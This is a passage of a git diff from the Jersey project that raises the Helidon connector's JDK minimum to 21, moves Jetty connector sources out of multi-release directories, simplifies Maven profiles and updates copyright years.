- * {@link org.glassfish.jersey.client.ClientProperties#OUTBOUND_CONTENT_LENGTH_BUFFER} size, however.
- * </p>
+ * Helidon Connector stub which only throws exception when running on JDK prior to 21.
+ * New Helidon 3 does not support JDKs prior to 21.
  *
- * @since 2.31
+ * @since 3.0.5
  */
-@Beta
-public class HelidonConnectorProvider extends io.helidon.jersey.connector.HelidonConnectorProvider {
+public class HelidonConnectorProvider implements ConnectorProvider {
     @Override
     public Connector getConnector(Client client, Configuration runtimeConfig) {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
+        if (JdkVersion.getJdkVersion().getMajor() < 21) {
             throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
         }
-        return super.getConnector(client, runtimeConfig);
+        return null;
     }
 }
diff --git a/connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java b/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
similarity index 73%
rename from connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
rename to connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
index d1e8ee1..5f47b6b 100644
--- a/connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
+++ b/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonClientProperties.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,17 +15,18 @@
  */
 package org.glassfish.jersey.helidon.connector;
 
+import io.helidon.jersey.connector.HelidonProperties;
 import org.glassfish.jersey.internal.util.PropertiesClass;
 
 /**
- * Configuration options specific to the Client API that utilizes {@code HelidonConnectorProvider}
+ * Configuration options specific to the Client API that utilizes {@code HelidonConnectorProvider}.
  * @since 2.31
  */
 @PropertiesClass
 public final class HelidonClientProperties {
 
     /**
-     * A Helidon {@code Config} instance that is passed to {@code WebClient.Builder#config(Config)} if available.
+     * A Helidon {@link Config} instance that is passed to {@link WebClient.Builder#config(Config)} if available
      */
-    public static final String CONFIG = "jersey.connector.helidon.config";
+    public static final String CONFIG = HelidonProperties.CONFIG;
 }
diff --git a/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java b/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
new file mode 100644
index 0000000..a7fca97
--- /dev/null
+++ b/connectors/helidon-connector/src/main/java21/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
@@ -0,0 +1,76 @@
+/*
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.helidon.connector;
+
+import org.glassfish.jersey.Beta;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.internal.util.JdkVersion;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configuration;
+import java.io.OutputStream;
+
+/**
+ * Provider for Helidon WebClient {@link Connector} that utilizes the Helidon HTTP Client to send and receive
+ * HTTP request and responses. JDK 8 is not supported by the Helidon Connector.
+ * <p>
+ * The following properties are only supported at construction of this class:
+ * <ul>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
+ * <li>{@link org.glassfish.jersey.client.ClientProperties#READ_TIMEOUT}</li>
+ * <li>{@link HelidonClientProperties#CONFIG}</li>
+ * </ul>
+ * <p>
+ * If a {@link org.glassfish.jersey.client.ClientResponse} is obtained and an
+ * entity is not read from the response then
+ * {@link org.glassfish.jersey.client.ClientResponse#close()} MUST be called
+ * after processing the response to release connection-based resources.
+ * </p>
+ * <p>
+ * Client operations are thread safe, the HTTP connection may
+ * be shared between different threads.
+ * </p>
+ * <p>
+ * If a response entity is obtained that is an instance of {@link java.io.Closeable}
+ * then the instance MUST be closed after processing the entity to release
+ * connection-based resources.
+ * </p>
+ * <p>
+ * This connector uses {@link org.glassfish.jersey.client.ClientProperties#OUTBOUND_CONTENT_LENGTH_BUFFER} to buffer the entity
+ * written for instance by {@link jakarta.ws.rs.core.StreamingOutput}. Should the buffer be small and
+ * {@link jakarta.ws.rs.core.StreamingOutput#write(OutputStream)} be called many times, the performance can drop. The Content-Length
+ * or the Content_Encoding header is set by the underlaying Helidon WebClient regardless of the
+ * {@link org.glassfish.jersey.client.ClientProperties#OUTBOUND_CONTENT_LENGTH_BUFFER} size, however.
+ * </p>
+ *
+ * @since 2.31
+ */
+@Beta
+public class HelidonConnectorProvider extends io.helidon.jersey.connector.HelidonConnectorProvider {
+    @Override
+    public Connector getConnector(Client client, Configuration runtimeConfig) {
+        if (JdkVersion.getJdkVersion().getMajor() < 21) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        }
+        return super.getConnector(client, runtimeConfig);
+    }
+}
diff --git a/connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java b/connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
deleted file mode 100644
index 932155a..0000000
--- a/connectors/helidon-connector/src/main/java8/org/glassfish/jersey/helidon/connector/HelidonConnectorProvider.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.helidon.connector;
-
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.client.spi.ConnectorProvider;
-import org.glassfish.jersey.internal.util.JdkVersion;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-import java.io.OutputStream;
-
-/**
- * Helidon Connector stub which only throws exception when running on JDK prior to 17.
- * New Helidon 3 does not support JDKs prior to 17.
- *
- * @since 3.0.5
- */
-public class HelidonConnectorProvider implements ConnectorProvider {
-    @Override
-    public Connector getConnector(Client client, Configuration runtimeConfig) {
-        if (JdkVersion.getJdkVersion().getMajor() < 17) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        return null;
-    }
-}
diff --git a/connectors/helidon-connector/src/main/resources/org/glassfish/jersey/helidon/connector/localization.properties b/connectors/helidon-connector/src/main/resources/org/glassfish/jersey/helidon/connector/localization.properties
index fb56d5c..4cb36b6 100644
--- a/connectors/helidon-connector/src/main/resources/org/glassfish/jersey/helidon/connector/localization.properties
+++ b/connectors/helidon-connector/src/main/resources/org/glassfish/jersey/helidon/connector/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,4 +14,4 @@
 # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
 #
 
-not.supported=Helidon connector is not supported on JDK version less than 17.
\ No newline at end of file
+not.supported=Helidon connector is not supported on JDK version less than 21.
\ No newline at end of file
diff --git a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/sse/SseTest.java b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/sse/SseTest.java
index ca1a5c6..1cdacc5 100644
--- a/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/sse/SseTest.java
+++ b/connectors/helidon-connector/src/test/java/org/glassfish/jersey/helidon/connector/sse/SseTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2020, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -53,7 +53,7 @@
     public static class SimpleSseResource {
         @GET
         @Produces(MediaType.SERVER_SENT_EVENTS)
-        public void send(@Context SseEventSink sink, @Context Sse sse) {
+        public void send(@Context SseEventSink sink, @Context Sse sse) throws Exception {
             try (SseEventSink s = sink) {
                 for (int i = 0; i != 10; i++) {
                     s.send(sse.newEvent("A"));
diff --git a/connectors/jdk-connector/pom.xml b/connectors/jdk-connector/pom.xml
index 55be765..e700c90 100644
--- a/connectors/jdk-connector/pom.xml
+++ b/connectors/jdk-connector/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-jdk-connector</artifactId>
@@ -88,53 +88,17 @@
                 <artifactId>maven-bundle-plugin</artifactId>
                 <inherited>true</inherited>
             </plugin>
+            <plugin>
+                <groupId>org.apache.maven.plugins</groupId>
+                <artifactId>maven-surefire-plugin</artifactId>
+                <configuration>
+                    <reuseForks>false</reuseForks>
+                    <excludes>
+                        <exclude>**/SslFilterTLS1Test.java</exclude>
+                        <exclude>**/SslFilterTLS11Test.java</exclude>
+                    </excludes>
+                </configuration>
+            </plugin>
         </plugins>
     </build>
-
-    <profiles>
-        <profile> <!-- we still require JDK 1.8 TLS 1.3 limitations -->
-            <id>jdk8</id>
-            <activation>
-                <jdk>(,9)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-surefire-plugin</artifactId>
-                        <configuration>
-                            <reuseForks>false</reuseForks>
-                            <excludes>
-                                <exclude>**/SslFilterTLS13Test.java</exclude>
-                                <exclude>**/SslFilterTLS13UrlStoresTest.java</exclude>
-                            </excludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>disable_tls1and11</id>
-            <!-- TLS 1 and TLS 1.1 are disabled for JDK 16 -->
-            <activation>
-                <jdk>[16,)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-surefire-plugin</artifactId>
-                        <configuration>
-                            <reuseForks>false</reuseForks>
-			    <!-- Excluding TLS1* tests -->
-                            <excludes>
-                                <exclude>**/SslFilterTLS1Test.java</exclude>
-                                <exclude>**/SslFilterTLS11Test.java</exclude>
-                            </excludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
 </project>
diff --git a/connectors/jetty-connector/pom.xml b/connectors/jetty-connector/pom.xml
index 7f2b377..2cdb267 100644
--- a/connectors/jetty-connector/pom.xml
+++ b/connectors/jetty-connector/pom.xml
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.5.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-jetty-connector</artifactId>
@@ -34,10 +34,6 @@
 
     <properties>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
-        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
         <surefire.coverage.argline>
             --add-modules=ALL-MODULE-PATH
         </surefire.coverage.argline>
@@ -134,168 +130,4 @@
             </plugin>
         </plugins>
     </build>
-
-    <profiles>
-        <profile>
-            <id>JettyExclude</id>
-            <activation>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <properties>
-                <jetty.version>${jetty11.version}</jetty.version>
-            </properties>
-            <dependencies>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-client</artifactId>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-            </dependencies>
-            <build>
-                <directory>${java11.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java11.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/jetty/connector/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>JettyInclude</id>
-            <activation>
-                <jdk>[17,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-client</artifactId>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-            </dependencies>
-            <build>
-                <directory>${java17.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java17.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>copyJDK17FilesToMultiReleaseJar</id>
-            <activation>
-                <file>
-                    <!-- ${java17.build.outputDirectory} does not work here -->
-                    <exists>target17/classes/org/glassfish/jersey/jetty/connector/JettyConnector.class</exists>
-                </file>
-                <jdk>[11,17)</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.felix</groupId>
-                        <artifactId>maven-bundle-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <extensions>true</extensions>
-                        <configuration>
-                            <instructions>
-                                <Multi-Release>true</Multi-Release>
-                            </instructions>
-                        </configuration>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-resources-plugin</artifactId>
-                        <inherited>true</inherited>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-classes</id>
-                                <phase>prepare-package</phase>
-                                <goals>
-                                    <goal>copy-resources</goal>
-                                </goals>
-                                <configuration>
-                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
-                                    <resources>
-                                        <resource>
-                                            <directory>${java17.build.outputDirectory}/classes</directory>
-                                        </resource>
-                                    </resources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-antrun-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <id>copy-jdk17-sources</id>
-                                <phase>package</phase>
-                                <configuration>
-                                    <target>
-                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
-                                        <echo>sources-jar: ${sources-jar}</echo>
-                                        <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
-                                        </zip>
-                                    </target>
-                                </configuration>
-                                <goals>
-                                    <goal>run</goal>
-                                </goals>
-                            </execution>
-                        </executions>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-</project>
+</project>
\ No newline at end of file
diff --git a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
similarity index 99%
rename from connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java
rename to connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
index aa8f0e6..47d5ced 100644
--- a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnector.java
+++ b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnector.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
similarity index 98%
rename from connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
rename to connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
index 43a08ce..5a3315d 100644
--- a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
+++ b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
similarity index 94%
rename from connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
rename to connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
index 6453521..9b20a64 100644
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
+++ b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
similarity index 96%
rename from connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
rename to connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
index 2b9e8b2..9cccf45 100644
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
+++ b/connectors/jetty-connector/src/main/java/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2019, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
deleted file mode 100644
index 50ec6bd..0000000
--- a/connectors/jetty-connector/src/main/java11/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.client.spi.ConnectorProvider;
-
-/**
- * A {@link ConnectorProvider} for Jersey {@link Connector connector}
- * instances that utilize the Jetty HTTP Client to send and receive
- * HTTP request and responses.
- * <p>
- * The following connector configuration properties are supported:
- * <ul>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#ASYNC_THREADPOOL_SIZE}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#CONNECT_TIMEOUT}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#FOLLOW_REDIRECTS}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_URI}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_USERNAME}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link org.glassfish.jersey.client.ClientProperties#PROXY_PASSWORD}</li>
- * <li>{@link JettyClientProperties#DISABLE_COOKIES}</li>*
- * <li>{@link JettyClientProperties#ENABLE_SSL_HOSTNAME_VERIFICATION}</li>
- * <li>{@link JettyClientProperties#PREEMPTIVE_BASIC_AUTHENTICATION}</li>
- * <li>{@link JettyClientProperties#SYNC_LISTENER_RESPONSE_MAX_SIZE}</li>
- * </ul>
- * </p>
- * <p>
- * This transport supports both synchronous and asynchronous processing of client requests.
- * The following methods are supported: GET, POST, PUT, DELETE, HEAD, OPTIONS, TRACE, CONNECT and MOVE.
- * </p>
- * <p>
- * Typical usage:
- * </p>
- * <pre>
- * {@code
- * ClientConfig config = new ClientConfig();
- * config.connectorProvider(new JettyConnectorProvider());
- * Client client = ClientBuilder.newClient(config);
- *
- * // async request
- * WebTarget target = client.target("http://localhost:8080");
- * Future<Response> future = target.path("resource").request().async().get();
- *
- * // wait for 3 seconds
- * Response response = future.get(3, TimeUnit.SECONDS);
- * String entity = response.readEntity(String.class);
- * client.close();
- * }
- * </pre>
- * <p>
- * Connector instances created via Jetty HTTP Client-based connector provider support only
- * {@link org.glassfish.jersey.client.RequestEntityProcessing#BUFFERED entity buffering}.
- * Defining the property {@link org.glassfish.jersey.client.ClientProperties#REQUEST_ENTITY_PROCESSING} has no
- * effect on Jetty HTTP Client-based connectors.
- * </p>
- *
- * @author Arul Dhesiaseelan (aruld at acm.org)
- * @author Marek Potociar
- * @since 2.5
- */
-public class JettyConnectorProvider implements ConnectorProvider {
-
-    @Override
-    public Connector getConnector(Client client, Configuration runtimeConfig) {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-}
diff --git a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
deleted file mode 100644
index 6453521..0000000
--- a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.spi.Contract;
-
-/**
- * A contract that allows for an optional registration of user predefined Jetty {@code HttpClient}
- * that is consequently used by {@link JettyConnector}
- */
-@Contract
-public interface JettyHttpClientContract {
-    /**
-     * Supply a user predefined HttpClient
-     * @return a user predefined HttpClient
-     */
-    HttpClient getHttpClient();
-}
diff --git a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
deleted file mode 100644
index 2b9e8b2..0000000
--- a/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (c) 2019, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-package org.glassfish.jersey.jetty.connector;
-
-import org.eclipse.jetty.client.HttpClient;
-
-/**
- * Jetty HttpClient supplier to be registered into Jersey configuration to be used by {@link JettyConnector}.
- * Not every possible configuration option is covered by the Jetty Connector and this supplier offers a way to provide
- * an HttpClient that has configured the options not covered by the Jetty Connector.
- * <p>
- *     Typical usage:
- * </p>
- * <pre>
- * {@code
- * HttpClient httpClient = ...
- *
- * ClientConfig config = new ClientConfig();
- * config.connectorProvider(new JettyConnectorProvider());
- * config.register(new JettyHttpClientSupplier(httpClient));
- * Client client = ClientBuilder.newClient(config);
- * }
- * </pre>
- * <p>
- *     The {@code HttpClient} is configured as if it was created by {@link JettyConnector} the usual way.
- * </p>
- */
-public class JettyHttpClientSupplier implements JettyHttpClientContract {
-    private final HttpClient httpClient;
-
-    /**
-     * {@code HttpClient} supplier to be optionally registered to a {@link org.glassfish.jersey.client.ClientConfig}
-     * @param httpClient a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called.
-     */
-    public JettyHttpClientSupplier(HttpClient httpClient) {
-        this.httpClient = httpClient;
-    }
-
-    @Override
-    public HttpClient getHttpClient() {
-        return httpClient;
-    }
-}
diff --git a/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties b/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
index 6561153..9e27153 100644
--- a/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
+++ b/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -17,5 +17,4 @@
 # {0} - HTTP method, e.g. GET, DELETE
 method.not.supported=Method {0} not supported.
 invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
-expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
-not.supported=Jetty connector is not supported on JDK version less than 17.
+expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
\ No newline at end of file
